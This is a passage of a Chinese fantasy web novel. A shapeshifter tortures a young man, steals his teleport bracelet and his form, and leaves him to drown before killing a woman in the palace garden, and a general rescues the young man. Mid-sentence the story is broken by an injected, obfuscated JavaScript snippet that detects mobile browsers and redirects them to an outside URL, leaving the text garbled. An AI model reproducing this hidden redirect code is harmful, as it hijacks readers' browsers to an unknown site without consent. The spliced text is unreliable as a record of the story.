知道内特不会再吐露任何信息,变色龙停止折磨内特,他把奄奄一息的人类青年丢到地上,抬起他那只备受折磨的左臂,极其轻柔漫长的,把那枚银色的镯子摘了下来,可以传送佩戴者到任何地方的道具,‘天使之吻’,戴到自己手上。 随后,内特眼睁睁地看着变色龙再一次变身了——黄色的鳞片开始变得细小光滑,肌肉从鳞片下长出,他的身躯再一次调整了,变得匀称,纤长,他散着如月光般银色的头发,睫毛颤动,睁开浅金色的眼睛,搭配身上浅白色的翼龙军团礼服,青年是如此的俊美华丽。 在内特面前,变色龙先生变成了【内特】。 “怎么样?”变色龙先生抬起戴着手镯的左手,在月光下转动几番,彷佛在端详自己新的躯体。他眯起眼睛,笑吟吟地看着倒在地上的内特。”无法使用变身对象的纹章能力这一点,我一直很遗憾。不过,现在最后一个缺点也补全了。“ 假‘内特’转过头,笑眯眯地说:“谢谢你,小公子。我不是你的朋友,你却如此轻易的信任了我。作为报答,我不会杀死你。” 几乎是为了呼应变色龙先生的话,这座礁石附近的海水骤然疯狂起来,海浪翻滚滔天。黑水波涛翻卷,宛如一张巨口,几波巨浪已经排上礁石,卡梅隆不得不站得更高些。内特被折磨得浑身无力地躺在地上,海水没过他的面庞,内特痛苦地咳嗽出几口血沫,想从海浪中爬起来。就在这时,他感觉到细小冰冷的触须缠住自己的身躯,那肢体宛如溺死在海水中人类冰冷的皮肤,内特尖叫起来,想要把这些触须从身上扯开,可是更多细黑色的蛛网般的触须已经缠绕上他,覆上他的脸颊,拖着他往更深处的海水里走,即使内特想要睁开眼睛也不能够了。 见状,变色龙先生彷佛露出于心不忍的神情。 “说到原本要给你的礼物,告诉你吧——这里是‘黑礁’,在几十年前,你们的人类国王和海洋君主,当时的海妖之王划分界线的地方。人类贸然来到这里,可是会被视为开战的挑衅哦。” 变色龙先生转动手腕上的‘天使之吻’,银色的丝线缠绕住他的身体,在这片漆黑阴冷,宛如阴海地狱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504364|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,宛如月色的茧。 “听?她来了。替我向海王星问好吧。” ·· 植物园,作为皇室的温室,盛开着上百种不同的花朵,四季不同。它也是除了正殿大门之外,任何贵族想要进入水晶皇宫的必经之路。 银色的光芒一闪,丝线收束,一个青年的身影已经出现在了植物园里。科尔·变色龙先生刚落地,便感觉小臂一痛。他抬起手臂,看见左臂不知何时少了一条皮肤,此刻正鲜血淋漓。 什么时候受伤的?科尔正在纳闷,犹豫要不要先去处理伤口,突然听见身旁传来一声惊呼。他抬起头,看见一位棕色长发,紫色眼睛,穿鹅黄色长裙的女子正吃惊的看着他。 “内特!”小拉赫·克劳狄说,“你受伤了?” 为什么要做这种事呢? 时至今日,科尔仍忍不住扪心自问。可回过神来时,手掌已经穿过了对方的心脏。 □□裂开的声音,血色从对方的脸上消失,很清晰地感觉到,手掌把对方的心脏劈了个两半。 ‘内特’收回手,小拉赫的身体晃了晃,宛如折断的玫瑰,歪倒下去。他扶住对方还未变冷的躯体,把她匆匆扔进一旁茂密的花丛里掩藏好。月季鲜艳盛放,绣球花团锦簇,鸢尾浪漫如丝。 花朵,大团大团,绚烂的夺目,花心朝着他的背后,彷佛凝视他一般。 为什么会这么冲动?明明,自己的伪装,还未引起任何怀疑。只是受了一惊,就突然出手——这个女人,只能算她倒霉了。 已经,没有时间犹豫。现在留给自己的时间,更少。 ‘内特’摇摇头,他能伪装的不只是外貌,连同气味和灵魂的形状,都与原型别无二致。因此沾上血的气味,并无关系。 已经确认过了。这个人类王庭中,没有能识破自己精神伪装的存在。那么,没有人能阻止自己了。 内特大步走进水晶皇宫中。 ··· 内特感觉自己在下沉。据说人在濒死的时候,他能看到过去的一切。而对内特来说,他感觉自己的意识变得很轻。海平面离自己越来越远,被黑色的触须拉扯着,内特感觉到自己正在下落。 他本就缺氧受伤的肺部吐出最后一串气泡,他拼尽全力,也只是让手指稍微往上抬了抬。已经看不清了,可是海底真的好冷,黑暗笼罩着,是如此孤独。内特感觉到泪水从眼眶中滑落, 啊,可是他还没能,做成任何事。他也没能,得到任何人的爱…… 或许是濒死的幻觉,他眼前的世界真的明亮起来。内特看见光从天空透彻下来,把黑暗撕开一个口子,然后越来越亮,直到彻底拢住他。一只手抓住他的手腕,把他从层层深陷的黑海漩涡中拉了出来。 他看见白色的雷霆从天而降,劈开海水,把一切照得亮如白昼。翼龙之王发出震耳欲聋的吼声,宛如王者临空。威斯汀·海森堡披着飒飒的白色战袍,当内特仰起头,他看见帝国之盾,大将军威斯汀·海森堡浅灰色的眼睛第一次落在自己身上。 “现在我也救了你一次,不是吗?”海森堡笑着说。